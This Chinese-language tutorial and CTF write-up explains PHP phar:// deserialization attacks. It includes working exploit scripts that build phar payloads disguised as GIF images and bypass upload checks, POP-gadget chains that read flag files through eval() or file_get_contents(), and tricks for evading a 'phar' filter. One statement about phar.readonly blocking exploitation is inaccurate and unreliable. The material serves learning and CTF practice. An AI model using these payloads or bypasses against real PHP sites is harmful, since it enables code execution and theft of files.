前言
在php反序列化的时候,我们是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
什么是PHAR
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
文件结构
phar文件主要包含三至四个部分:
1.a stub
stub的基本结构: xxx<? xxx;_HALT_COMPILER()L;?>,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化a signature for verifying Phar integrity
签名格式
举个栗子:
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
过了一晚上,终于可以生成phar文件了
可以看到meta-data是以序列化形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数再通过phar://协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下
写一个unserialize.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
将序列化的内容再反序列化
将phar文件伪造成其他格式的文件
php扩展识别phar文件使用过其头部的stub,更确切地来说就是通过 __HALT_COMPILER(); ?> 这段代码,但是对前面的内容或者后缀没有什么要求。我们就可以通过添加任意文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='qidian132';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这种方法可以绕过一些通过校验文件头的上传点。
在本地做个演示
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else{
echo "Invalid file,you can only upload gif";
}
?>
upload_file.html
<html>
<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>
upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用file_exits()判断文件是否存在,并且存在魔术方法__destruct。大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
生成可利用的phar文件
漏洞利用条件
- phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
2. 要有可用的魔术方法作为”跳板”;
3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。
虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。
在禁止phar开头的情况下的替代方法:compress.zlib://phar://phar.phar/test.txt compress.bzip2://phar://phar.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt 虽然会报warning,但是还是会执行。
做两道比赛题
**
有查看文件和上传文件两个功能,看源代码
url存在任意文件读取
base.php和upload_file.php都主要展示前端的代码
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
对上传的文件进行检查和限制
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
class.php里file_get_contents()可以造成任意文件读取,需要构造一个pop链
逆着看,file_get函数会读取$value变量的值,get方法里如果存在params[$key]会将其值赋给变量$value,get方法的触发是由_get完成的,
get()的触发需要从不可访问的属性读取数据,即在调用私有属性的时候会自动执行。构造函数contruct()给参数$param赋值了一个数组
Test::file_get_contents()<--Test::get()<--Test::_get()
如何触发get()卡了一下,师傅们说Show里的toString()可以触发,既让$this->str[‘str’]为Test的初始化对象,就会访问不存在的属性source。这部完成之后就要考虑如何触发__toString()魔术方法了,就需要用到C1e4r类下的echo,当$this->test为实例化对象时,并且经过echo输出就会触发
Show::__toString<--C1e4r::__destruct
总的pop链
Test::file_get_contents()<--Test::get()<--Test::_get()<--Show::__toString()<--C1e4r::__destruct()
file.php,从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。
exp
<?php
class C1e4r{
public $test;
public $str;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$clear->str = $show;
$phar = new Phar("qidian.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($clear);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
改后缀上传,但是经过upload_file.php文件会被重命名
但是这题可以直接访问upload目录
使用phar协议访问就可以了
?file=phar://upload/d7959930b7a34278663471bd43b89e88.jpg
Dropbox
注册一个账号登录,发现可以上传文件,上传正常文件
可以下载和删除,抓包
下载页面可以任意文件下载
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
register.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
这么多代码,看了好久主要在index.php,class.php,download.php和delete.php
POP链的构造
要知道我们利用的就是File->close()->file_get_contents()函数,我们是需要触发close()方法,让其读取flag.txt,然后FileList里的__destruct()将flag输出
User::__construct-->User::__destruct-->FileList::close()-->FileList()::call('close')-->File::close('/flag.txt')-->$result=file_get_contents('flag.txt')-->FileList::__construct-->echo $result
大致说一下我不是很理解的地方:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
call($func, $args)php的魔术方法,call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的参数(这是个数组),其中$func就是指我们调用的不存在方法,而$args是指我们的参数。
通过代码我们知道假如我们调用close()方法,那么最后会调用
$file->$func()
即$file->close(),并且存入$result中,经过__destruct() echo那么file_get_contents的内容就能回显出来了。
对于phar读取的问题,因为download.php对路径进行了限制
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
所以我们要使用delete.php再使用phar协议进行读取
exp
<?php
class User {
public $db;
function __construct(){
$this->db = new FileList();
}
}
class FileList{
private $files;
private $results;
private $funcs;
function __construct(){
$this->files = [new File('/flag.txt')];
$this->results = [];
$this->funcs = [];
}
}
class File{
public $filename;
function __construct($name){
$this->filename = $name;
}
}
$a = new User();
$phar = new Phar("qidian.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
这篇文章经历了近一周时间,中间停了三天电,跨度有点大,中间好多思路衔接不是很流畅。不过代码审计算是入门了一丢丢丢丢吧。